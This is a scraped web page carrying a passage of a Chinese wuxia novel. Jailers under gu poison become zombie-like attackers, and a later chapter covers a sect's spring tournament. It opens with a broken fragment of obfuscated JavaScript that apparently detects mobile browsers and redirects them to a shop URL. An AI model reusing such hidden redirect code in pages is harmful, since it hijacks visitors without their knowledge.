l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717277|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 污,甚至还有鲜血如一缕丝线般不断地从他身上淌下,滴在他脚边的枯草上。 若只是如此,倒也还罢,真正让人骇然的是,有一颗人头还咬着他的侧颈,不是一个人,就只是一颗头,本该与这颗头连接的身子已经不见了。这颗人头双目圆睁,眼里布满血丝,牙齿深深地嵌入了侧颈的肉中,齿缝间满是鲜红。 而这名狱卒右边小腿上,还拖着一颗头。 同样是一颗死命咬住他小腿的头,只不过这颗头有与其相连的身子,但也只是上半身而已。此人生前被拦腰斩断,地上还拖着一根暗红色的肠子。 此情此景实在过于猎奇诡异,方才还在交战对峙的两方,所有人都忘了自己本来在做什么,所有人的注意力都全部转移到了这个狱卒、还有他身上负着的“东西”上。 空气凝固了半晌,随后被几声饱含恐惧的惊叫打破。叫出声的,是重云门的四五个年轻弟子,其他两三个弟子则稍为镇定,但脸也变得煞白。 在场的这些人,无论是河伯山鬼,还是郑宝卿鲍钟,除了重云门的几个年轻弟子,都是已在江湖上闯荡多年的,山鬼虽然才十七,见过的怪事却不可谓不少,可都比不上今天这一幕给人的冲击大。 这名狱卒极缓极缓地一下下挪动着步子,而重云门弟子的几声尖叫传来,似乎是把他从睡梦中唤醒了一般。只见他突然暴起,喉咙里发出猛兽一般的叫声,张开嘴就要向这些人冲来。他的嘴简直张到了人类所不能张开的大小,其余五官都被挤成了一团,这狱卒口涎乱淌,摇头晃脑,诡异可怖至极。 众人皆是一悚,不知他是要朝谁发难。忽然树丛猛烈摇晃,一下从里面冲出十数个人来,皆身着狱卒服饰。跟第一个出来的狱卒不同,这些狱卒一出来就乱扑乱咬,上下牙齿相碰,发出咔咔的声音。他们马上将站得离树林最近的重云门弟子作为了目标,狂乱撕咬着冲了过去。这些弟子年纪极轻,那里见过这阵仗?皆手忙脚乱地摆好架势准备迎敌,其中有个弟子不知手抖还是怎么,一个没拿稳,手中剑啪的一声掉在地上。 这名弟子刚想俯下身去捡剑,可那些怪物来得好快,其中有一个一面向这边冲一面用眼睛直直地盯着他,似乎已经将他定作了目标。他心下惶惧,想着形势危急,先空手护住自己,剑等会再捡,可脚又被树枝还是石头之类的什么东西绊了一下,一跤坐倒在地,不过也因此躲开了那狱卒咬过来的嘴巴。 那掉剑的重云门弟子一边惊叫一边在地上没头没脑地乱爬,只觉双腿力气似是被抽干了一般,再也站不起来。眼前满地枯草,同门和狱卒的靴子晃来晃去,他大喊救命,生怕那怪物一击不中回过头来再咬自己,可师兄弟姐妹们都自顾不暇,哪里管得上他?蓦地有人不小心踩到了他的手,他吃痛叫出声来,而那名同门也被他的身体绊了一下,仰着向后摔倒,接着便有一个狱卒张牙舞爪向他们扑来,这名弟子和被他绊倒的同门同时发出惊叫。 说时迟那时快,只见一抹雪青色晃入眼帘,师父郑宝卿挡在了二人前面。郑宝卿刷刷两剑,一中胸口,一中腹部,那狱卒便嘶声叫着滚倒在地。不远处,第一个异变的狱卒已被郑宝卿砍倒在地,他的嘴死死咬着地上的枯草,就如死死咬在他侧颈和小腿上的那两颗头颅一般。 河伯与山鬼面面相觑,虽然不知道发生了什么,但眼下是个好机会。郑宝卿和重云门的人被缠住了,他们二人正好趁乱离开。 就在河伯如抓小鸡一般将趴在地上一脸懵的少年拎起、准备走人时,耳中听得呼呼风响,回头一看,一道黑影一闪而至,河伯大感意外,连忙侧头躲开。定睛看去,不是鲍钟又是谁? 只是他看上去有些不大一样了,双目失神,嘴角流涎,喉咙里发出“喝喝”的声音,倒是跟方才从树林中钻出的那些狱卒颇有相似之处。山鬼一惊,心想:“难道他也……”她心里刚闪过这个念头,鲍钟就又向河伯扑了过去。鲍钟张嘴连咬,河伯连闪数下。 河伯被关在九寒山牢中六年,牢头鲍钟是常常见到的。他虽身为囚犯,但鲍钟待人和气,且说白了也只是奉命在这看守,从没为难过他们这些囚犯。时间一久,倒有些惺惺相惜之感。此刻见他如此,心下有几分伤感,再加上河伯生性豁达,为人十分自来熟,便大声道:“鲍牢头,老朋友,怎么连你也成了这副模样?”语气中颇有感慨之意。 突然听得一旁有人长声惨叫,河伯斜眼看去,见最开始跟着鲍钟来的一个狱卒被之后过来的怪物咬中。那狱卒被咬后,身体抽搐了几下,四肢以奇怪的角度逐渐弯曲,像是逐渐被烧焦的干草,接着便低头不动了。另一个胆大的狱卒上前察看,不想被咬的同僚突然抬头,一口咬在他的脸上。这名上前察看的狱卒惨叫一声,围在旁边的狱卒齐声惊呼,都不约而同地后退一步。紧接着第三名被咬的狱卒也嘶叫着抬起头来向四周围着的人扑去。众人大骇,一时间四散奔逃,也有抽出武器,准备和这些变成怪物的同僚一战的。 郑宝卿叫道:“是蛊!”河伯刚又躲开鲍钟的一咬,听她这么说,和山鬼皆是一震。 水南蛮疆之人固善用蛊,九寒山牢地处水南腹地,蛮疆则在比九寒山牢还要靠南的位置,处在万千群山、无边丛林之中。那里树木高大无匹,遮天蔽日,蛮人便在这密林中饲养蛊虫。 蛮人有自己的组织和规矩,不受武林盟主统辖。当年第一位一统水南、水西、水东三地江湖的卫怀霆都未能使他们完全归顺,更别说如今的水南武林盟主。蛮疆在水南,所以生在水南长在水南的郑宝卿对蛊比河伯山鬼了解。但他们不知道的是,这蛊饶是对郑宝卿来说也邪门了些。 且蛮人向来不掺和蛮疆以外的事,为何这里会出现毒蛊? 看方才情形,难不成被咬的人也会身中蛊毒,变成怪物? 一片混乱中,忽然有重云门弟子颤声道:“他们怎么像是感受不到痛?”话音中满是怖惧。 河伯与山鬼先前见重云门弟子用剑砍伤刺伤这些被种下蛊的狱卒,而这些狱卒似是感受不到痛一般,就算伤口极深、血液迸溅,行动也丝毫不见迟缓。河伯这头也是一边躲闪鲍钟的撕咬,一边从地下捡起其他狱卒身上落下的钢刀,看准机会就在鲍钟身上划上一道口子,但鲍钟却连痛呼声都没有发出,只顾不断向河伯咬去。 郑宝卿大声道:“不要慌!他们虽感受不到疼痛,却是能被杀死的,要害跟普通人一样!”反手将剑送入一名狱卒的咽喉。那名狱卒上一刻还在摇头晃脑、大声吼叫,下一刻便没了声,四肢下垂,如一滩烂泥般摊在地上,一动也不动了。 河伯不想杀鲍钟,谁知道他中了这蛊毒后还会不会醒呢,再有,这是他第一次见到这么奇特的蛊,也打算好好观察一番。于是只和鲍钟周旋,一边观察鲍钟的种种情态。 只听山鬼叫道:“小心!”,原来竟是那些正在逃跑或提起武器应对怪物的狱卒突然低下头不动了,再抬起头来时,一个个也都成了表情狰狞、双目翻白的样子,一齐朝河伯扑去。 奇怪,他们没有被咬,怎么也变成了这样?难道是一开始就被人下了蛊,到现在毒蛊通通发作了? 河伯“嚯”了一声,打起十二万分的精神。他虽表面轻松,但内心已不想在这多耽,下手也重了起来。 他一开始还信心满满,打着打着就发现这些变成怪物的狱卒数量实在太多,前仆后继的,刚踢开一个,又补上来两个,踢飞两个,补上来四五个。且感受不到疼痛这一点也很棘手,河伯不想伤他们性命,因此每每避开要害,这就导致兵器反而对他们没用了,尽管这些狱卒身上多处挂彩,一条条血口子触目惊心,若是常人早就会因剧痛而动作迟缓,他们的行动却一点也没有因为受的这些伤而受阻。再加上他背上还有一个人,多少也限制了发挥。 打着打着,他还发现有哪里不对劲。 从刚刚到现在,好像只有他一个人在出手。不对啊,不应该还有一个人吗? 河伯一转头,看到山鬼好整以暇地坐在旁边一棵大树的树枝上,正居高临下地看着底下斗成一团,悠闲得就跟逢年过节看社戏一样。假如旁边有茶的话,河伯都觉得她当场就会捧起茶碗呷上一口。 河伯心头火腾的一下就起来了,大吼道:“你在干嘛?快来帮忙!” 山鬼只道:“邢大哥,你在牢房那逼仄地方待了这么多年,我这是让你有机会活动活动筋骨。六年前邢大哥不也是这么锻炼我的?” 原来山鬼一早就看出,这些被种下蛊的狱卒只会扑人咬人,却连最基本的武功招式都没有使出来。拳掌腿脚功夫固然没有,更别说是使兵刃了。看样子这蛊毒虽然会让人变成怪物,但也会让人彻底丧失自我意识,连自己会使武功都不记得,只会本能地扑咬。 所以,烦是烦了点,但威胁性不大。既如此,她便放心大胆地看戏了。 听到“六年前”这三个字,河伯心里咯噔一下。想起数年前山鬼刚成为自己搭档的时候,他对这个屁大丫头的能力持有强烈的怀疑,怎么别人的搭档看起来都那么可靠,自己的搭档就是个屁孩子?他宁愿不要搭档,也不愿一边完成任务一边带孩子。但家主的决定不容反对,于是对山鬼言语内外多有轻视之意。山鬼也看出了他对自己的不满意,这小丫头片子人不大,鬼精鬼怪的脾气倒是不小,也一来就跟他犯犟。两人最初几次的任务一路上都是吵吵嚷嚷过来的,相处得很不愉快。虽是搭档,实则相互嫌弃。 一次,二人被一群敌人追杀。那时山鬼的轻功还远不如现在,河伯早就大笑着跑远了,甩下一句“我这是锻炼锻炼你!”就消失在密林之后。山鬼不意此人这般无赖,刚叫出一声:“你——!”身后敌人便追了上来。山鬼一边应付团团围来的敌人,一边大骂河伯。她年纪虽小,但能被选进九歌,武功并不弱于一般的江湖人士,再加上被河伯的混蛋行径一激,怒气助长攻势,一招一式更是虎虎生风,不出一炷香的时间,追兵倒也都被她料理了。其实河伯并没有走远,而是隐在旁边的树丛后又折了回来。他这般做,既是捉弄下这小丫头,又想趁此机会好好看看这个搭档实力如何。如若见到她有危险,自己再现身相救就是。 那次任务刚好是在他进九寒山牢前一年,算来距今也有六年了。 没想到这丫头这么记仇! 河伯焦头烂额,一旁山鬼的声音还在时不时传来:“哟,邢大哥一出狱就这么生龙活虎!” “不愧是邢大哥,一点都不让人操心。” “这记扫堂腿厉害呀!” 其实当年山鬼刚将所有人撂倒,正弯腰撑着膝盖喘气,就见河伯从树林后走了出来。心里也知道河伯并未走远,即便如此,依旧觉得河伯不可原谅,奈何一直没寻到报复的机会。不想今日良机天赐,怎么也得好好整治他一下。 河伯后背冷汗涔涔,乖乖,六年前他就是开个玩笑,真是人心险恶,世道不古! 大丈夫能屈能伸,河伯决定先服个软,一拳将一个狱卒打得鼻血四溅往后飞出,争取出一个空档望着树枝上的山鬼道:“咱俩的私人恩怨先放一边行不行?你恩公可还在我背上,再不来,你恩公就要没啦!你不救我,难道还不救恩公吗?” 山鬼啧了一声,似乎还真有些动摇了。 河伯见状,连忙乘胜追击,一迭声喊道:“鱼姑娘,鱼姐姐,鱼女侠,鱼英雄,鱼姑姑,鱼姑奶奶!” 河伯本来还有更多以“鱼”字开头的称呼待要说出来,陡然间似听得山鬼道了一声“可惜”,只见她纵身跃起,双臂晃了几晃,紧接着围在河伯身边的三个狱卒便接连倒地。仔细看去,这些狱卒身上都多了一枚闪闪发亮的银针。这些银针虽使他们难以动弹,却都没有射中要害。而山鬼手中不知何时已多了一根九寸长的三棱钢刺,此时旭日东升,金光洒满了她全身。 河伯见到山鬼来搭救自己的英姿,感动得快要哭出来了:“鱼女侠!天呢!你真是我的盖世英雄!” 山鬼突然出手,倒也不是想就此放过他,但一来河伯搬出了那少年,不论怎么说,那少年对她有恩,河伯背着他,确实顾不过来,她是为了那少年,可不是为了河伯。二来,玩笑归玩笑,她是受命奔赴万里从水西来到水南腹地救出河伯的,任务第一,捉弄归捉弄,她得把活的河伯带回去。于是一边跟河伯插科打诨一边也在注意郑宝卿那边的动静,见郑宝卿已飞身过来开始斩杀站在河伯外围的狱卒,要是郑宝卿将所有狱卒杀完,她接着就会来料理自己和河伯了,于是也不得不出手。虽然郑宝卿确实杀得快了点,让她没办法继续观赏河伯迫促的样子。 河伯一边击退敌人一边鬼叫:“啊啊啊我就要变成僵尸了!你恩公也要变成僵尸了!”忽然听得背上传来一声惨叫,这声惨呼离自己极近,就在耳朵边上。河伯头皮一麻,转头便看到一名狱卒的嘴咬在背上这少年的手臂上,他肝胆俱裂,惊叫道:“啊啊啊他已经变成僵尸了!” 一边叫,一边像抖毛虫一样把那少年从背上抖了下来。那少年软软地趴在地上,再也不动了,不像之前被河伯摔在地上时,还能痛呼出声。不知是被吓死了,还是蛊毒已在他体内扩散,让他失去了意识。有一点倒是能确定,不出多时,这少年也会像九寒山牢的狱卒一般变成只会咬人的僵尸。 变故瞬间发生,山鬼转头看去,心中对那少年略微感到歉意,但事已至此,她和河伯至少让那少年在死前呼吸了一下九寒山牢外面的空气。当务之急,是摆脱九寒山牢的僵尸和重云门的活人。眼见那郑宝卿一路砍瓜切菜般过来,山鬼且战且走,正准备逐渐挪到河伯身边,让他跟自己一起趁机溜走,忽然,一阵悠扬却诡异的笛声传来。 在场之人都略微怔住,谁在这里吹笛? 这笛声似从四面八方传来,又似在耳边回荡。 笛声突然高亢起来。 便似一声令下,狱卒们突然躁动暴跳起来,就连先前被郑宝卿等人杀死的狱卒也重新从地上爬起,众人尽皆骇然。只见这些狱卒再也不像之前一般乱扑乱咬,而是各自使开武功招式,齐向河伯山鬼以及重云门众人攻去。 就像笛声让他们突然之间由兽变为了人。 这些狱卒一下就难对付得多了,更何况他们感受不到疼痛,尽管伤口处血肉模糊,攻击的势头也丝毫不减。方才还不断前进的郑宝卿此刻被逼得步步后退。 一部分狱卒去攻击郑宝卿,其余的狱卒则分别攻向河伯与山鬼。河伯山鬼同样感到棘手无比,这些狱卒虽然伤不到他们,但他们同样是被逼得节节后退。 忽听得重云门弟子中传来一声惨呼,原来是之前跌剑摔倒的那名弟子右边小腿被一名狱卒咬中,郑宝卿一脚将面前的狱卒踢出三丈之外,转身一剑削去了这名弟子的小腿。这名弟子先是呆了一下,确认自己的小腿已经跟自己分开后,不管不顾地哭叫起来,叫声之凄厉,将其他重云门弟子都吓了一跳。 众人一开始都以为被咬就会蛊毒发作,但后来发现不管那些狱卒有没有被咬最终都变成了怪物,这下便不清楚是不是因为被咬而发生异变了。 一只小腿没了,对大多数习武人士来说,武人生涯便告结束。若要继续修习武功,那么面对的困难将会比别人多不知多少倍。郑宝卿性子是急了些,可若不当机立断斩去这名弟子被咬的小腿,万一蛊毒能通过这种方式传播,这名弟子就不是失去一条小腿这么简单了,他也会变成怪物,其他人则会再增加一名敌人。郑宝卿不能赌。 河伯山鬼都想赶去对方身边,二人合力退敌再寻找空隙离开。可他们各自对付的狱卒数量太多,加之又在笛音的催动下变得比之前厉害了不知多少,两人之间的距离越拉越远。山鬼见河伯就快退到旁边山坡之后,自己的视线被山坡遮挡,不由得心中焦急。河伯心情也如山鬼一般,在山鬼的身影即将完全被山坡遮挡时,河伯挥开狱卒向自己攻来的一掌,大吼道:“谷州!”说完身形便隐没在山坡之后。山鬼会意,河伯是叫她与他在谷州府会合。当即紧握三棱钢刺,一边用心对付眼前的敌人,一边脚下移步,逐渐远离了狱卒密集的空地,郑宝卿及重云门弟子力战狱卒的一声声呼叱渐渐远去。 无人注意的角落,被他们带出九寒山牢的那少年还趴在草丛中,一动不动。 3. 大较(一) 山鬼劫狱前一天,谷州府。 谷州府历史悠久,物阜民丰,位于九寒山牢正西方向,整座城被一条河所贯穿。谷州府桥多,河上架起十数座桥,每隔一二里就是一座。 此时正值初春时节,阳光明媚,杨柳拂堤,河岸风光煞是怡人。 琥沙派掌门唐奕才站在这些桥中最为出名的府淀桥头,微风略略吹起他的袍袖,他的思绪也随风飘荡,一旁谷州刀派掌门赵恬滔滔不绝的说话声逐渐远去。 唐奕才想起自己和重云门门主郑宝卿在来谷州府的路上,二人之间的对话。 郑宝卿抱怨道:“竟然要到这种地方来,与这里相比,我更愿意到水西直接去会会卫尧觉或聊正赟。” 唐奕才提醒:“聊正赟早就死了。” 郑宝卿道:“我当然知道聊正赟死了,死了四年了,我的意思是,现在那个姓聊的小子,我根本不放在眼里。”她顿了顿,又道:“盟主大人也是病急乱投医,连这些虾兵蟹将都点上了。你信不信,若姓聊的或姓卫的真打来了,他们派不上一丁点用场。” 唐奕才道:“不一定,九寒山牢是当年的南武林盟主一手设立,数百年来都由历代盟主直接管辖,里面的狱卒武功不会差。” 郑宝卿道:“那是以前的事啦,先盟主还在的时候,就没怎么管过九寒山牢了,你不知道吗?更别说现在的盟主大人。要不是缺人手,还想不到这有一座九寒山牢呢。这些年来那些狱卒都在自由生长,那起子人一旦自由了,必然散漫。一旦散漫下来,武功也荒废了,精神也松弛了,还指望他们呢。” 唐奕才默然无言,心里倒也认同郑宝卿说的。过了一会又道:“比起这个,我更好奇谷州刀派的人水准如何。若是达不到,怎能让他们去守九寒山牢?若水平足够高,那便是万千之喜,说不定还能从他们之中选些人跟我们一道回临蓟……”他说着说着,突然兴奋起来,“不,若比九寒山牢的狱卒们都厉害,那么也不用让狱卒跟我们走了,狱卒还在九寒山牢不动,直接让谷州刀派的掌门和所有老师弟子跟我们去临蓟就好了。” 郑宝卿冷哼一声道:“你想多了,谷州刀派,那算什么门派?十几个半吊子聚在一起,教一群孩子一些拳打脚踢的三脚猫把式,就叫做门派了?”语调里满是傲慢轻蔑之意。 唐奕才道:“不管他们水平怎样,这次去谷州刀派,收收你的脾性,至少人家对我们是很欢迎很尊敬的,他们春日大较本来是春分之后才进行,往年每年都如此。今年因为我们要来,特地把时间提前了,还要过段时间才春分呢。” 郑宝卿皱眉道:“我才不耐烦听他们的奉承话。” 唐奕才一愣,道:“什么意思,你不去吗?” 郑宝卿道:“你去吧,看看那些孩子水平怎么样,我直接去九寒山牢找鲍钟。分头行动,就不浪费时间了。我这边的事办完了,就来谷州府跟你汇合。” “……所以这座桥历史极其悠久……唐掌门,唐掌门?” 唐奕才一下被拉回了现实,转过头对赵恬笑道:“啊……就是说在谷州府还只是个小县时这座桥就已经在这了?” 赵恬赔笑道:“是。”说着将唐奕才请至府淀桥中间的桥亭里坐下,又道:“对于这次两位掌门来到敝派,我们十分重视,得知二位还要观看大较,简直是受宠若惊。”他一边说一边以手掌不断摩挲着膝盖,“只是不知盟主大人为什么突然让二位来……” 唐奕才哦了一声,以轻快的语气道:“没什么,就是盟主想了解了解我们水南各地的武学流派。”他决定先看了谷州刀派水平到底如何后再与赵恬进行下一步的谈话。 赵恬笑道:“那这可是个大工程,也是盟主勤勉,心系整个水南武林。”他笑起来,脸上的褶子一层层翻开纹路。 赵恬有些岁数了,唐奕才不知道他多少岁,不知有没有八十。 自从当年卫氏裂变后,水南、水西、水东三地的势力谁也灭不了谁,又都筋疲力竭、人困马乏。索性各自休养生息,恢复元气,逐渐便形成如今的格局。只是水东相对来说更孤立一些,与水南水西都少有往来。水南则跟水西交流更多,摩擦也更多,但大体上也是以仲邑江为界各自发展,互不影响。 然而就在近二十年,水西突然开始频繁地“活动”起来,这些活动在水南的江湖人看来明显是针对他们水南武林,让以水南武林盟主为首的水南武林人士不可避免地神经紧绷。 但眼下水南武林已是人才凋零、今不如昔,三地的平衡被打破,也无怪水西在这个时候出手,毕竟听说现任水西武林盟主是个野心勃勃的年轻人,除他之外,那个聊正赟的儿子也不是个消停的, 唐奕才和郑宝卿所效忠的主子,水南武林盟主,在为缺乏人手应对即将到来的灾难焦虑很久后,有下属提出,或许九寒山牢的狱卒可堪任用,不如先请他们上临蓟城来再做下一步打算。 盟主为表对九寒山牢狱卒们的重视,特意派了作为水南武林盟主左右手的唐奕才和郑宝卿亲自走这一趟。至于狱卒们离开后谁来看守监牢,先前提出任用狱卒的那名下属又说,听闻与九寒山牢相邻的谷州府中有一个谷州刀派,可让他们接手看守监牢的差事。 唐奕才接受任命时,倒还没觉得这事有什么棘手。到地方后才发现,这事难办。每个节点似乎都出现了些问题。 谷州府这个地方,虽然历来也算是水南繁华之所在,但武道不兴,其离水南武林盟主驻地所在地甚远,本地也没什么大的武林门派或世家,所以远离江湖纷争。 谷州府,是个不管武林如何纷扰,都遗世独立于风雨之外的地方。 所以这里的门派自然就不出名。在这之前,唐奕才和郑宝卿甚至听都没听说过这个门派。 不说唐奕才和郑宝卿,水南的江湖人士,大多数也没听说过谷州刀派,更别说跟重云门、琥沙派,还有水西的两仪派这些在水南水西水东都名声在外的大派比了。 谷州刀派,问道斋中,弟子们围成几团,有说有笑。 谷州刀派是武林门派,问道斋则是专门给弟子讲授理论的书斋。 因为第二天下午就要大较,所以师父辜俊愿在讲明注意事项并对弟子们进行鼓励后便早早离开。弟子们倒还不着急走,留在斋中闲聊。初春的阳光将格子窗的阴影投射进斋中,整个屋子都流溢着橙黄色的光彩,明晃晃亮堂堂。 一名精瘦招风耳弟子对围在旁边的同门道:“这次的优胜,肯定又是他啦。”说着朝另一团弟子的方向努努嘴。 旁边的两人顺着他的目光看去,“铎师兄?” “那套刀法,师父只传了他一人。之前我去问师父可否将这套刀法也传授给我们,师父说我们还不到学的时候。” “他还没学这套刀法时就年年都是优胜,如今学会了,我们更不是他的对手了。” “不过也只有铎师兄那般的天资,才有资格学这种高深的刀法。” “什么天资?师父偏心罢了。刘师弟,若师父肯在你身上付出跟他一样的时间,我不信你打不过他。” 打开话头的那名精瘦招风耳弟子撇撇嘴:“往日就一副不可一世的样子,今年要是又拿了优胜,尾巴还不得翘到天上去!” 那名被其他人称为铎师兄的弟子名叫铎占文,穿一袭碧色长袍,长得斯斯文文的,此刻在屋子另一边,身旁也围了不少同门。 铎占文旁边的一名弟子对自己右手边的弟子笑道:“不用说,今年的优胜肯定又是占文。这种没悬念的事猜起来没意思,我们还是猜猜这次是我的名次靠前还是你的名次靠前?谁的名次靠前谁就请客吃饭!” 铎占文温雅一笑,道:“哪里哪里,我看其他师伯叔门下的弟子都很努力,最终结果如何,也难说得很。” 站在他身后的两名弟子对视一眼,都抿嘴笑笑。铎占文这么说,是已经认定他们师父辜俊愿这一门下的弟子都是比不过他的了。 铎占文道:“只是我认为我们的眼界不应当只放在门内的大较上,而应该放眼整个武林。谷州府外还有整个水南武林,水南武林之外还有水西、水东武林呢,那些地方的武功可都是玄妙得紧。”他顿一顿,道:“比如我这段时间在研习水西两仪派的功夫,深入了解后才发现真是别有一番天地。” 旁边一名女弟子道:“铎师兄,我们都在为大较苦练,师父教过的招式都担心掌握不熟,你还能有余裕研习别门别派的武功。”语声里满是钦佩之意。 这名女弟子的话正夸在铎占文心坎上,他嘴上不断说着谦虚之词,面上的得意神情却有些遮掩不住。 铎占文兴致很高,继续道:“两仪派的内功修炼讲究同时运使阴阳二气,跟其他所有门派都不同。其他门派的内功要么是属阴,要么是属阳,比如我们门派,内功修炼就是走的就是‘少阳’的路子。凡习武之人,只要修习了阳性内功就不能修习阴性内功,反之亦然,但两仪派独有的修炼法门让他们可以冲破这一桎梏。放眼水南水西水东三地,能做到这点的,唯有两仪一派而已。” 其他弟子听得入神,有一个弟子问道:“内功半阴半阳,跟全阴全阳哪个厉害?” 铎占文正准备张口,忽然从旁边飘来一句:“运使阴阳二气的,三地之中,不止两仪派。” 周围的弟子一下安静下来,这安静也引起了精瘦招风耳弟子及他身边那团弟子、还有书斋另一处聚在一起的女弟子的注意,他们都停下了正谈论的话题,朝声音来源看去。 说这话的,正是与他们同为谷州刀派弟子的雨馀凉。 雨馀凉一个人坐在一边,先前没有参与任何谈话。此刻听到铎占文言语中有误,忍不住开口。 铎占文一愣,还没说话,就有一名弟子讥道:“怎么,你又知道了?” 雨馀凉没有回应这名弟子,只是看着铎占文道:“水西还有一个无涯派,这个门派修炼的内功也是同时包含阴阳二气。” 铎占文稍稍有些下不来台,无涯派?有这么一个门派么,他怎的从来都没听说过? 先前说话的那名弟子又讥嘲道:“不会是你杜撰的吧?”他说完这句话,周围有笑声零零碎碎地响起。 雨馀凉有些难堪,又有些气闷,情不自禁地加快语速道:“两仪派跟无涯派祖上有些渊源,只是后来无涯派由于某些原因而凋零灭派,不像两仪派如今规模浩大而已。这两派虽都以阴阳二气为内功根基,但运功的方式完全不同,也算是世上武功流派种类繁多、千变万化的一个例证。” 众人听他说得头头是道,也都不说话了。 隔了一阵,一名弟子说道:“嗐,既是早早就灭派了,那占文说只有两仪派一个门派也没错啊,非要这么杠一下子。” 众弟子又是一阵沉默。 这之后,逐渐有人说起了其他话题,精瘦招风耳弟子对旁边那团女弟子其中一个身穿橘黄衣衫的叫道:“楚楚,八极万仞会最新一期的小报买了没?借我看看呗!”那名被叫做楚楚的女弟子回头道:“你想得美!我自己都还要等大较后再看呢。你叫我一声姐,姐姐看完后也不是不能赏给你看几天!”那精瘦招风耳弟子满面笑容道:“好嘞楚楚姐,谢谢楚楚姐!”有一名男弟子道:“看完了也借我看看!”那名被叫做楚楚的女弟子道:“我只借一个人,你们自己去商量!”楚楚旁边的一名女弟子道:“你们真烦人,想看自己去买啊,老借别人的做什么?”弟子们打打闹闹,安静的书斋又喧闹起来。 这些弟子口中的八极万仞会,是个专门挖掘江湖“秘闻”的组织,且主要着眼于各成名大佬的私人秘闻。 很难界定它是个怎样的组织。说是个江湖组织吧,该组织并不插手江湖之事,从未有人见过其成员出手,他们似乎并不身怀高深的武功,甚至可能没有武功。说它不是江湖组织吧,然而该组织致力挖掘的消息,范围又仅限于江湖之中。 该组织毫无下限,小到某某门派掌门家眷的内宅斗争,大到武林盟主手下的夫人跟另一名下属偷情,事无巨细,全都写在每十五天就刊印一期的小报上。 人们一边惊叹着该组织下限越来越低,一边又期待下限可以更低些。顺便感慨:原来那些什么什么盟主,什么什么掌门,表面看去正经得令人害怕,私底下却玩得比谁都刺激。 也正是这些内容,奠定了这一读物并不高雅的基调,但抵不住人们爱看。八极万仞会甚至号称:他们刊印的小报,对各路侠士们来说,简直就是行走江湖必备读物。 无人知道谁在幕后领导着八极万仞会。据最可靠的传闻,情色小说《修武奇情》系列的作者情痴教主就是创立该组织的人。但情痴教主又是谁?亦无人知晓。再者,《修武奇情》成书于百年以前,如今操纵八极万仞会的,自然早就另有其人了。总之,该组织手眼通天——在探知江湖“秘闻”方面,却谜团重重。 弟子们聊了一阵,也逐渐收拾东西,三三两两地回去了。 雨馀凉亦往随身挎着的书袋里装了两本书,再将木刀握在手中,一切停当后,向坐在斜后方的弟子道:“叶千,走么?” 与雨馀凉同为谷州刀派弟子的古叶千一下清醒,一边揉眼睛一边应道:“等等我馀凉,就来了。”先前古叶千正趴在桌子上睡觉,从下午一进书斋就开始睡起,恍惚间听到有人叫自己,懵懵懂懂把头从臂弯里抬起来,才发觉书斋里空荡荡的,不仅师父走了,同门也走了不少了。 雨馀凉跟古叶千说自己在书斋外面等他,刚踏出门外,就看见自己的同门师弟谢岚星走在前头,身边跟了一个与他平时要好的弟子。 谢岚星道:“知道这些也不稀奇,也不看看人家爷爷是谁?近水楼台先得月,是比我们知道的多些。” 另一名弟子道:“管文书档案的而已。” 雨馀凉正看着二人远去的背影发呆,突然肩头被人一拍,雨馀凉转头就对上古叶千一张凑得老近的脸。古叶千一只手反提着书袋,乐呵呵道:“走呗。” 两人走在街上,雨馀凉看着乐天一如既往的古叶千,道:“明天就要大较了,你不紧张吗?” 古叶千道:“不紧张,我这人啊没有其他优点,就是心态好。怎么?难道你紧张?” 一般来说,收受弟子、传习武功的武林门派都有大较,有的门派或许以其他名字称呼这一活动,但都是要定期考察所收弟子武功精进状况的。不同门派大较的安排不同,比较频繁的一年两三次,大多数门派都是一年一次。有些门派安排在每年秋季,有些安排在除夕之前几天,谷州刀派则在每年春分之后。今年倒是例外,因为有临蓟城的人要来,所以门派将时间提到了春分之前。雨馀凉仍然记得之前众弟子得知这个消息时的情形: 那日书斋之中,一名弟子说道:“你们晓不晓得,这次大较,临蓟那边会来人看。” 谷州府坐落于水南腹地,临蓟城则地处水南北部,后者一直是历代水南武林盟主驻地所在。如重云门、琥沙派这等水南的名门大派也位于临蓟城内或城外近郊。临蓟那边的来客,对水南的江湖门派来说,可以说是非同小可了。 果然此话一出,众弟子都坐直了身子,在一迭声的“什么?”“不会吧!”的惊诧声中,那名弟子又道:“千真万确,我昨天去问师父接下来这一年打算传授我们哪几套刀法,我们好事先去熟悉熟悉,恰好师父正跟其他师伯师叔们谈论这件事呢。师父暂时还没空理我,我就站在旁边等,顺便听了一会,那临蓟来的人似乎还是我们盟主大人的亲近手下。” 另一名弟子插口道:“怪不得这次大较提前了,往年都是春分之后,都是为了就贵人的时间吧。”经他这么一说,众弟子都恍然大悟。 书斋里一下沸腾了,本来就对即将来临的大较感到紧张或兴奋的弟子们越发紧张兴奋起来。 今天下午离开书斋前,师父辜俊愿也反复强调此次大较会有临蓟那边的厉害人物前来观摩,言语间都是暗示他们好好表现,说不定就被人家看上了,然后得到更好的机会。 雨馀凉知道有些弟子是为大较本身而兴奋,比如铎占文。而有些弟子则是因大较之后的休假而感到快乐。谷州刀派的大较历来都是两天半,大较完后,门派会放弟子回去休息七天。 不管怎样,雨馀凉清楚自己的实力,这种活动,一般跟他无关就是了。 雨馀凉摇摇头道:“倒也不紧张,只是我不喜欢大较。”每年大较之后的很长一段时间,雨馀凉晚上躺在床上,大较时被打中的地方此起彼伏地痛起来,让他怎么也睡不着。虽然只是同门切磋,点到为止,但谷州刀派到底也是武林门派。一般人平时打闹不注意,打出的淤青伤口也要痛一阵子,更何况习武之人带有内力的一击? 古叶千笑笑:“你小子把话说的,谁又喜欢了?” 雨馀凉也笑笑,又低头陷入了沉思。 比起大较,他更在意今早做的梦。 火焰燃烧的噼啪声和窗外的雨声交织,时间长了,只觉得两种声音混在一起,竟无法区分。 他就站在这些声音之间,眼前却漆黑一片,时不时闪几闪极亮的红光,但都是一团模糊,什么也看不清楚。 之后他就醒了,醒来时天刚好蒙蒙亮。他睁开眼时还没从方才的梦中缓过味来,望着床顶蚊帐好一阵后,才收拾收拾吃完早饭去了门派。 不知当年发生了什么,雨馀凉失去了六岁之前的记忆。他曾问过爷爷雨休,后者只说他六岁那年得了一场大病,醒来后之前的什么事就都不记得了。 梦里的场景是他从来没去过的地方,会是他六岁之前去过的吗?这个场景会与他失去的记忆有关吗? 